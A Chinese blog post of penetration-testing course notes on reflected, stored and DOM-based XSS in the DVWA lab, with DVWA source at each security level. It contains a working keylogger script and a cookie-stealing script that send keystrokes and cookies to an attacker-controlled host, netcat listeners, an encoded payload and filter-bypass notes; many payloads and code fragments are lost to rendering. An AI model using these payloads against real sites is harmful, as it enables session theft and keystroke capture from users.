Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. 简介
2. 反射型 XSS 漏洞
    2-1. 测试漏洞
    2-2. 常规攻击方法
    2-3. 键盘记录器
    2-4. dvwa 服务器源码
        2-4-1. Low 安全级别
        2-4-2. Medium 安全级别
        2-4-3. High 安全级别
3. 存储型 XSS 漏洞
    3-1. 验证漏洞
    3-2. 漏洞利用
    3-3. dvwa 服务器源码
        3-3-1. Low 安全级别
        3-3-2. Medium 安全级别
        3-3-3. High 安全级别
4. DOM型 XSS 漏洞
    4-1. 漏洞利用

1. 简介


  1. 简介

    • 与 Java 原因无关
    • 命名完全出于市场原因
    • 使用最广的客户端脚本语言
  2. 利用方法

    • 通过 WEB 站点漏洞,向客户端交付恶意执行代码,实现对客户端的攻击目的
    • 注入客户端脚本代码
    • 盗取 cookie
    • 重定向
  3. 使用场景

    - 直接嵌入html:
    - 元素标签事件:
    - 图片标签:
    - 其他标签:
    - 
    - 
    
  4. 在浏览器输入数字 AAAAA

    http://10.10.10.132/dvwa/vulnerabilities/xss_r/
    

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第1张图片

    # 原封不动的返回给了客户端,说明存在 XSS 漏洞
    
  5. 使用 BurpSuite

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第2张图片

  6. 测试漏洞,链接弹窗

    输入 click
    点击链接之后,发现已经跳转到其他页面
    

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第3张图片

    点击 click
    

    BurpSuite
    

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第4张图片

  7. 测试漏洞,点击弹窗

    输入 
    

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第5张图片
    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第6张图片

  8. 测试漏洞,点击弹窗

    输入 type
    

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第7张图片

    将代码进行 encoder:%3c%61%20%68%72%65%66%3d%27%27%20%6f%6e%63%6c%69%63%6b%3d%61%6c%65%72%74%28%27%78%73%73%27%29%3e%74%79%70%65%3c%2f%61%3e
    

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第8张图片
    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第9张图片
    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第10张图片

  9. 测试漏洞,错误弹窗

    输入 ,错误弹窗
    

  10. 测试漏洞,重定向

    输入 
    

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第11张图片

    在 kali 监听 80 端口,被攻击者的信息会被收集
    root@kali:~# nc -nvlp 80
    浏览器输入 
    

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第12张图片

  11. 测试漏洞,框架

    在 kali 监听 80 端口,被攻击者的信息会被收集
    输入 
    

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第13张图片

  12. 测试漏洞,提取 cookie 信息

    输入 
    

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第14张图片

  13. 测试漏洞,篡改页面

    输入 
    

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第15张图片

2. 常规攻击方法

  1. 重定向到其他的地方(肉鸡)读取脚本文件

    在 kali 本机设置 a.js
    

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第16张图片

    kali 使用 nc 侦听 88 端口
    输入 
    

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第17张图片

3. 键盘记录器

  1. 键盘记录器脚本:Keylogger.js

    # Keylogger.js
    document.onkeypress = function(evt) 
    {
        evt = evt || window.event
        key = String.fromCharCode(evt.charCode)
        if (key) 
        {
            var http = new XMLHttpRequest();
            var param = encodeURI(key)
            http.open("POST","http://10.10.10.131/keylogger.php",true); # keylogger.php:接收键盘记录器信息的脚本
            http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
            http.send("key="+param);
        }
    }
    
  2. 接收键盘记录器信息的脚本:keylogger.php

    
    
  3. 接收的客户端的数据存放在文件:keylog.txt

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第18张图片

  4. 访问服务器,提交代码

    输入 
    

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第19张图片

  5. 被攻击者的机器被获取键盘记录

    被攻击者在此网页再输入任何数据时,都会被记录
    

    Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞_第20张图片

4. dvwa 服务器源码

1. Low 安全级别

 ';
 echo 'Hello ' . $_GET['name'];
 echo '
'; } ?>

2. Medium 安全级别

  1. 源码

     ';
     echo 'Hello ' . str_replace('
    

3. High 安全级别

  1. 源码

     ';
     echo 'Hello ' . htmlspecialchars($_GET['name']);
     echo '
    '; } ?>
  2. 分析

    #  htmlspecialchars($_GET['name']) 是将 "<" 和 ">" 分别编码为 "<" 和 ">"
    # 可以将攻击代码写在网页本身的"<"、">"之间,攻击代码自身不含有"<"、">",这样就不会被 htmlspecialchars() 过滤。
    # 比如:type
    # dvwa 中的返回代码中不存在本身自带的"<"、">",,所以无法验证。
    

2. 存储型 XSS 漏洞


1. 验证漏洞

  1. 验证漏洞,原封不动的显示了输入的信息


  2. 查看第一栏是否会过滤脚本

    输入 
    



  3. 每次点击这个点解时,都会弹框

  4. 查看第二栏是否会过滤脚本

    输入 
    



  5. 每次点击这个点解时,都会两次弹框


2. 漏洞利用

  1. 创建 a.js

    # kali IP
    root@kali:/var/www/html# cat a.js 
    var img = new Image();
    img.src = "http://10.10.10.131:88/cookies.php?cookie="+document.cookie;
    

    # kali 使用 nc 监听
    

  2. 进行攻击

    输入 
    发现无法成功输入,原因是浏览器进行了宽度限制,可以在本地修改
    
    修改浏览器本地宽度
    

    重新输入 
    


3. dvwa 服务器源码

1. Low 安全级别

 ' . mysql_error() . '
' ); } ?>

2. Medium 安全级别

 ', '', $name);
   $name = mysql_real_escape_string($name);

   $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

   $result = mysql_query($query) or die('
' . mysql_error() . '
' ); } ?> # 分析 BurpSuite 可知,响应文件中的 name 只过滤了 ,所以可以判断是指过滤了

3. High 安全级别

 ' . mysql_error() . '
' ); } ?>

3. DOM型 XSS 漏洞


1. 漏洞利用

  • DOM : 一套 JS 和其他语言可调用的标准的 API

    root@kali:~# nc -nvlp 88
    反射型,输入 
    

你可能感兴趣的:(kali-linux)